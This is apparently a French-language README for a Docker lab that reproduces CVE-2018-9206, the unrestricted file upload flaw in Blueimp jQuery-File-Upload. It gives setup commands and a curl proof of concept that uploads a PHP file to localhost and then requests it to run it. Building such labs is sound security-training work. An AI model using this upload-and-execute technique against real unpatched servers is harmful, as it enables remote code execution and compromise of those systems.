flame-11/cve-2018-9206-jquery-file-uploadEnvironnement de laboratoire basé sur Docker pour CVE-2018-9206 (Blueimp jQuery-File-Upload téléversement de fichier sans restriction vers RCE) avec scripts PoC et commandes de validation.
Environnement Docker vulnérable pour CVE-2018-9206 - Téléversement de fichier sans restriction dans Blueimp jQuery-File-Upload <= 9.22.0.
docker compose up -d --build
Application disponible sur : http://localhost:8888/jQuery-File-Upload/
# Upload a PHP file
curl -X POST "http://localhost:8888/jQuery-File-Upload/server/php/index.php" \
-F 'files[]=@/dev/stdin;filename=test.php' <<< '<?php echo "CVE-2018-9206-PWNED"; ?>'
# Execute it
curl "http://localhost:8888/jQuery-File-Upload/server/php/files/test.php"
# Output: CVE-2018-9206-PWNED
Ou exécutez le script PoC :
./scripts/poc.sh
docker compose down -v
| Champ | Valeur |
|---|---|
| CVE | CVE-2018-9206 |
| Produit | Blueimp jQuery-File-Upload |
| Version | 9.22.0 |
| Type | Téléversement de fichier sans restriction → RCE |
| CVSS | 9.8 (Critique) |